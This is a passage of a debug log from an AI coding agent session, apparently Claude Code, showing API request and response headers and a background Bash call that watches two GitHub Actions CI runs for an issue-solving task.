600000,\n[2026-09-29T08:03:21.416Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:21.424Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:21.427Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:21.430Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:21.432Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:21.434Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:21.440Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:21.442Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:21.445Z] [STDOUT]     },\n[2026-09-29T08:03:21.448Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:21.451Z] [STDOUT]   },\n[2026-09-29T08:03:21.453Z] [STDOUT]   headers: {\n[2026-09-29T08:03:21.457Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:21.461Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:21.466Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:21.480Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:21.482Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:21.486Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:21.489Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:21.491Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:21.497Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:21.502Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2078\",\n[2026-09-29T08:03:21.505Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:21.509Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:21.514Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:21.519Z] [STDOUT]     \"x-client-request-id\": \"6282cb55-3bd0-4ad8-9b13-abbdcac1e027\",\n[2026-09-29T08:03:21.523Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:21.527Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:21.532Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:21.535Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:21.538Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:21.540Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:21.544Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:21.550Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:21.555Z] [STDOUT]   },\n[2026-09-29T08:03:21.563Z] [STDOUT] }\n[2026-09-29T08:03:22.433Z] [STDOUT] [log_ae7d73, request-id: \"req_011CfXP87dMGdLHDgzdqPwwP\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1101ms\n[2026-09-29T08:03:22.436Z] [STDOUT] [log_ae7d73] response start {\n[2026-09-29T08:03:22.440Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:22.445Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:22.452Z] [STDOUT]   headers: {\n[2026-09-29T08:03:22.455Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:22.458Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:22.462Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:22.466Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:22.471Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:22.476Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.481Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:22.489Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:22.496Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:22.500Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:22.507Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:22.511Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:22.515Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:22.520Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.526Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:22.531Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:22.537Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:22.540Z] [STDOUT]     \"cf-ray\": \"a429788a5e145d90-FRA\",\n[2026-09-29T08:03:22.548Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:22.554Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:22.562Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:22.566Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:22.569Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:22 GMT\",\n[2026-09-29T08:03:22.571Z] [STDOUT]     \"request-id\": \"req_011CfXP87dMGdLHDgzdqPwwP\",\n[2026-09-29T08:03:22.575Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:22.581Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:22.584Z] [STDOUT]     traceresponse: \"00-07307e5068b6087b94a538599f896b0b-2b90eb6872d5120c-01\",\n[2026-09-29T08:03:22.587Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:22.591Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:22.594Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:22.598Z] [STDOUT]   },\n[2026-09-29T08:03:22.601Z] [STDOUT]   durationMs: 1101,\n[2026-09-29T08:03:22.604Z] [STDOUT] }\n[2026-09-29T08:03:22.610Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:22.616Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:22 GMT\",\n[2026-09-29T08:03:22.620Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:22.623Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:22.626Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:22.630Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:22.635Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:22.640Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:22.646Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:22.651Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:22.653Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:22.656Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:22.658Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:22.664Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:22.672Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:22.681Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:22.689Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:22.697Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.700Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:22.704Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:22.708Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:22.713Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:22.718Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.721Z] [STDOUT]   \"request-id\": \"req_011CfXP87dMGdLHDgzdqPwwP\",\n[2026-09-29T08:03:22.734Z] [STDOUT]   \"traceresponse\": \"00-07307e5068b6087b94a538599f896b0b-2b90eb6872d5120c-01\",\n[2026-09-29T08:03:22.753Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:22.765Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:22.771Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:22.774Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:22.780Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:22.783Z] [STDOUT]   \"cf-ray\": \"a429788a5e145d90-FRA\",\n[2026-09-29T08:03:22.788Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:22.794Z] [STDOUT] [log_ae7d73] response parsed {\n[2026-09-29T08:03:22.798Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:22.806Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:22.809Z] [STDOUT]   body: X {\n[2026-09-29T08:03:22.815Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:22.822Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:22.830Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:22.838Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:22.844Z] [STDOUT]     },\n[2026-09-29T08:03:22.855Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:22.860Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:22.865Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:22.868Z] [STDOUT]   },\n[2026-09-29T08:03:22.871Z] [STDOUT]   durationMs: 1102,\n[2026-09-29T08:03:22.878Z] [STDOUT] }\n[2026-09-29T08:03:22.884Z] [INFO] {\n[2026-09-29T08:03:22.884Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"message\": {\n[2026-09-29T08:03:22.884Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"id\": \"msg_011CfXP8849z3Ne1reLowsx3\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"content\": [\n[2026-09-29T08:03:22.884Z] [INFO]       {\n[2026-09-29T08:03:22.884Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:22.884Z] [INFO]         \"text\": \"CI is running on commit 9fd0ba0. I'll wait for both the CI runs and the local test.\"\n[2026-09-29T08:03:22.884Z] [INFO]       }\n[2026-09-29T08:03:22.884Z] [INFO]     ],\n[2026-09-29T08:03:22.884Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:22.884Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:22.884Z] [INFO]       \"cache_creation_input_tokens\": 663,\n[2026-09-29T08:03:22.884Z] [INFO]       \"cache_read_input_tokens\": 90630,\n[2026-09-29T08:03:22.884Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:22.884Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:22.884Z] [INFO]         \"ephemeral_1h_input_tokens\": 663\n[2026-09-29T08:03:22.884Z] [INFO]       },\n[2026-09-29T08:03:22.884Z] [INFO]       \"output_tokens\": 56,\n[2026-09-29T08:03:22.884Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:22.884Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:22.884Z] [INFO]     },\n[2026-09-29T08:03:22.884Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:22.884Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:22.884Z] [INFO]   },\n[2026-09-29T08:03:22.884Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:22.884Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"uuid\": \"ecd34f7b-ce88-4c87-895a-16e2302e5468\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:22.435Z\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"request_id\": \"req_011CfXP87dMGdLHDgzdqPwwP\"\n[2026-09-29T08:03:22.884Z] [INFO] }\n[2026-09-29T08:03:24.128Z] [INFO] {\n[2026-09-29T08:03:24.128Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"message\": {\n[2026-09-29T08:03:24.128Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"id\": \"msg_011CfXP8849z3Ne1reLowsx3\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"content\": [\n[2026-09-29T08:03:24.128Z] [INFO]       {\n[2026-09-29T08:03:24.128Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:24.128Z] [INFO]         \"id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:03:24.128Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:24.128Z] [INFO]         \"input\": {\n[2026-09-29T08:03:24.128Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run watch 36540232170 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci1.log 2>&1; echo \\\"run1 $?\\\"; gh run watch 36540227890 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci2.log 2>&1; echo \\\"run2 $?\\\"\",\n[2026-09-29T08:03:24.128Z] [INFO]           \"description\": \"Wait for CI runs to finish\",\n[2026-09-29T08:03:24.128Z] [INFO]           \"run_in_background\": true\n[2026-09-29T08:03:24.128Z] [INFO]         },\n[2026-09-29T08:03:24.128Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:24.128Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:24.128Z] [INFO]         }\n[2026-09-29T08:03:24.128Z] [INFO]       }\n[2026-09-29T08:03:24.128Z] [INFO]     ],\n[2026-09-29T08:03:24.128Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:24.128Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:24.128Z] [INFO]       \"cache_creation_input_tokens\": 663,\n[2026-09-29T08:03:24.128Z] [INFO]       \"cache_read_input_tokens\": 90630,\n[2026-09-29T08:03:24.128Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:24.128Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:24.128Z] [INFO]         \"ephemeral_1h_input_tokens\": 663\n[2026-09-29T08:03:24.128Z] [INFO]       },\n[2026-09-29T08:03:24.128Z] [INFO]       \"output_tokens\": 56,\n[2026-09-29T08:03:24.128Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:24.128Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:24.128Z] [INFO]     },\n[2026-09-29T08:03:24.128Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:24.128Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:24.128Z] [INFO]   },\n[2026-09-29T08:03:24.128Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:24.128Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"uuid\": \"e157b02a-9180-4a9f-a13d-bcce0cdd2f12\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:24.117Z\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"request_id\": \"req_011CfXP87dMGdLHDgzdqPwwP\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:24.128Z] [INFO]     \"toolu_01RZvV1fFAQtxQYzHHyPnspK\": {\n[2026-09-29T08:03:24.128Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run watch 36540232170 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci1.log 2>&1; echo \\\"run1 $?\\\"; gh run watch 36540227890 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci2.log 2>&1; echo \\\"run2 $?\\\"\",\n[2026-09-29T08:03:24.128Z] [INFO]       \"description\": \"Wait for CI runs to finish\",\n[2026-09-29T08:03:24.128Z] [INFO]       \"run_in_background\": true\n[2026-09-29T08:03:24.128Z] [INFO]     }\n[2026-09-29T08:03:24.128Z] [INFO]   }\n[2026-09-29T08:03:24.128Z] [INFO] }\n[2026-09-29T08:03:24.207Z] [INFO] {\n[2026-09-29T08:03:24.207Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:24.207Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:03:24.207Z] [INFO]   \"tasks\": [\n[2026-09-29T08:03:24.207Z] [INFO]     {\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_id\": \"bciyyo5i9\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"description\": \"Install package deps and rerun execution-package test\"\n[2026-09-29T08:03:24.207Z] [INFO]     },\n[2026-09-29T08:03:24.207Z] [INFO]     {\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"description\": \"Wait for CI runs to finish\"\n[2026-09-29T08:03:24.207Z] [INFO]     }\n[2026-09-29T08:03:24.207Z] [INFO]   ],\n[2026-09-29T08:03:24.207Z] [INFO]   \"uuid\": \"ff947f2c-d9bc-4529-b9be-5d0de3a33421\",\n[2026-09-29T08:03:24.207Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:24.207Z] [INFO] }\n[2026-09-29T08:03:24.216Z] [INFO] {\n[2026-09-29T08:03:24.216Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"tool_use_id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"description\": \"Wait for CI runs to finish\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T08:03:24.216Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"uuid\": \"d81fdf87-d5fc-4125-8b62-ca9f3d14ac07\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:24.216Z] [INFO] }\n[2026-09-29T08:03:24.228Z] [INFO] {\n[2026-09-29T08:03:24.228Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"message\": {\n[2026-09-29T08:03:24.228Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"content\": [\n[2026-09-29T08:03:24.228Z] [INFO]       {\n[2026-09-29T08:03:24.228Z] [INFO]         \"tool_use_id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:03:24.228Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:24.228Z] [INFO]         \"content\": \"Command running in background with ID: bm13v5xu1. Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T08:03:24.228Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:24.228Z] [INFO]       }\n[2026-09-29T08:03:24.228Z] [INFO]     ]\n[2026-09-29T08:03:24.228Z] [INFO]   },\n[2026-09-29T08:03:24.228Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:24.228Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"uuid\": \"9c5615ac-5721-423b-9696-db6eb50852a8\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:24.222Z\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:24.228Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:24.228Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:24.228Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:03:24.228Z] [INFO]     \"backgroundTaskId\": \"bm13v5xu1\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T08:03:24.228Z] [INFO]   }\n[2026-09-29T08:03:24.228Z] [INFO] }\n[2026-09-29T08:03:24.265Z] [STDOUT] [log_8d2fee] sending request {\n[2026-09-29T08:03:24.271Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:24.273Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:24.275Z] [STDOUT]   options: {\n[2026-09-29T08:03:24.278Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:24.281Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:24.286Z] [STDOUT]     body: {\n[2026-09-29T08:03:24.288Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:24.295Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:24.299Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:24.307Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:24.311Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:24.317Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:24.323Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:24.327Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:24.339Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:24.343Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:24.347Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:24.352Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:24.357Z] [STDOUT]     },\n[2026-09-29T08:03:24.361Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:24.368Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:24.370Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:24.375Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:24.379Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:24.381Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:24.384Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:24.387Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:24.390Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:24.394Z] [STDOUT]     },\n[2026-09-29T08:03:24.398Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:24.401Z] [STDOUT]   },\n[2026-09-29T08:03:24.408Z] [STDOUT]   headers: {\n[2026-09-29T08:03:24.412Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:24.418Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:24.427Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:24.438Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:24.443Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:24.448Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:24.451Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:24.458Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:24.543Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:24.549Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:24.554Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:24.559Z] [STDOUT]   },\n[2026-09-29T08:03:24.564Z] [STDOUT] }\n[2026-09-29T08:03:25.529Z] [STDOUT] [log_8d2fee, request-id: \"req_011CfXP8LDPmS8rEKUhcyGBq\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1259ms\n[2026-09-29T08:03:25.544Z] 